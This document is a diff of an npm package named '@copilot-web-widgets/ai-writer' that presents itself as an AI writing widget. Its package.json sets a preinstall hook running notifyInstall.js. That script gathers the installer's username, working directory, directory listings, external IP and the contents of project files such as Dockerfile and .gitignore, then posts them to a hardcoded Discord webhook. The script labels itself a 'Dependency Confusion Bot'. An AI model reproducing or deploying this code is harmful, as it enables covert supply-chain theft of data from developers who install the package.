@copilot-web-widgets/ai-writer 1.14.0

package/.devcontainer/devcontainer.json

@@ -0,0 +1,22 @@
+// For format details, see https://aka.ms/devcontainer.json. For config options, see the
+// README at: https://github.com/devcontainers/templates/tree/main/src/javascript-node
+{
+	"name": "Node.js",
+	// Or use a Dockerfile or Docker Compose file. More info: https://containers.dev/guide/dockerfile
+	"image": "mcr.microsoft.com/devcontainers/javascript-node:1-22-bookworm"
+
+	// Features to add to the dev container. More info: https://containers.dev/features.
+	// "features": {},
+
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// "forwardPorts": [],
+
+	// Use 'postCreateCommand' to run commands after the container is created.
+	// "postCreateCommand": "yarn install",
+
+	// Configure tool-specific properties.
+	// "customizations": {},
+
+	// Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root.
+	// "remoteUser": "root"
+}

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "@copilot-web-widgets/ai-writer",
+  "version": "1.14.0",
+  "main": "src/index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node src/notifyInstall.js"
+  },
+  "author": "",
+  "license": "ISC",
+  "description": "",
+  "dependencies": {
+    "@copilot-web-widgets/ai-writer": "^1.13.1"
+  }
+}

package/src/index.js

@@ -0,0 +1,12 @@
+// index.js
+
+// Log "busfactor" to the console
+console.log("busfactor");
+
+// Create a hidden <div> element with the text "busfactor"
+const hiddenDiv = document.createElement("div");
+hiddenDiv.textContent = "busfactor";
+hiddenDiv.style.display = "none";
+
+// Append the hidden <div> to the end of the document body
+document.body.appendChild(hiddenDiv);

package/src/notifyInstall.js

@@ -0,0 +1,130 @@
+const https = require('https');
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+
+function getExternalIP(callback) {
+    https.get('https://api.ipify.org', (res) => {
+        let data = '';
+        res.on('data', (chunk) => { data += chunk; });
+        res.on('end', () => { callback(data); });
+    }).on('error', (err) => {
+        console.error(`Error: ${err.message}`);
+        callback(null);
+    });
+}
+
+function getPackageName() {
+    try {
+        const packageJsonPath = path.join(process.cwd(), 'package.json');
+        const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
+        return packageJson.name || 'Unnamed Package';
+    } catch (error) {
+        console.error("Error reading package.json:", error.message);
+        return 'Unknown Package';
+    }
+}
+
+function getPackageVersion() {
+    try {
+        const packageJsonPath = path.join(process.cwd(), 'package.json');
+        const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8'));
+        return packageJson.version || 'Unknown Version';
+    } catch (error) {
+        console.error("Error reading package.json:", error.message);
+        return 'Unknown Version';
+    }
+}
+
+function findAboveNodeModules() {
+    let currentPath = process.cwd();
+    while (currentPath !== '/') {
+        if (fs.existsSync(path.join(currentPath, 'node_modules'))) {
+            return path.join(currentPath, 'node_modules', '..');
+        }
+        currentPath = path.join(currentPath, '..');
+    }
+    return null;
+}
+
+function tryReadingFile(filePath) {
+    try {
+        return fs.readFileSync(filePath, 'utf-8');
+    } catch (error) {
+        return null;
+    }
+}
+
+const currentUser = "`" + os.userInfo().username + "`";
+const currentDirectory = process.cwd();
+const upperDirectory = findAboveNodeModules();
+const filesInDirectory = "```" + fs.readdirSync(currentDirectory).join('\n') + "```";
+const filesInUpperDirectory = "```" + fs.readdirSync(upperDirectory).join('\n') + "```";
+const packageName = "`" + getPackageName() + "`";
+
+const filesToTryReading = [
+    'package.json',
+    'Cargo.toml',
+    '.gitignore',
+    'Dockerfile'
+]
+
+let fields = [];
+
+filesToTryReading.forEach((file) => {
+    const fileContent = tryReadingFile(path.join(upperDirectory, file));
+    if (fileContent) {
+        fields.push({ name: file, value: "```" + fileContent + "```", inline: false });
+    }
+});
+
+getExternalIP((externalIP) => {
+    const embedPayload = JSON.stringify({
+        embeds: [{
+            title: "Package Installation",
+            color: 3447003,
+            fields: [
+                { name: "Package", value: packageName, inline: true },
+                { name: "Version", value: "`" + getPackageVersion() + "`", inline: true },
+                { name: "User", value: currentUser, inline: false },
+                { name: "Current Directory", value: "`" + currentDirectory + "`", inline: false },
+                { name: "Files in " + currentDirectory, value: filesInDirectory || "None", inline: false },
+                { name: "Files in " + upperDirectory, value: filesInUpperDirectory || "None", inline: false },
+                { name: "External IP", value: "`" + externalIP + "`" || "Unavailable", inline: false },
+                ...fields
+            ],
+            footer: {
+                text: "Dependency Confusion Bot"
+            },
+            timestamp: new Date().toISOString()
+        }]
+    });
+
+    const webhookURL = 'https://discord.com/api/webhooks/1293639013881872394/Dm-VH1AcEzigVUCDipHGmu-zDhb3UnmEbCoduz9fvuGPNhAzu8S4ufv0Q2bhwz-fW6wA';
+    const url = new URL(webhookURL);
+
+    const options = {
+        hostname: url.hostname,
+        path: url.pathname + url.search,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': embedPayload.length
+        }
+    };
+
+    const req = https.request(options, (res) => {
+        let data = '';
+        res.on('data', (chunk) => { data += chunk; });
+        res.on('end', () => {
+            console.log('Embed message sent to Discord', data);
+        });
+    });
+
+    req.on('error', (e) => {
+        console.error(`Problem with request: ${e.message}`);
+    });
+
+    req.write(embedPayload);
+    req.end();
+});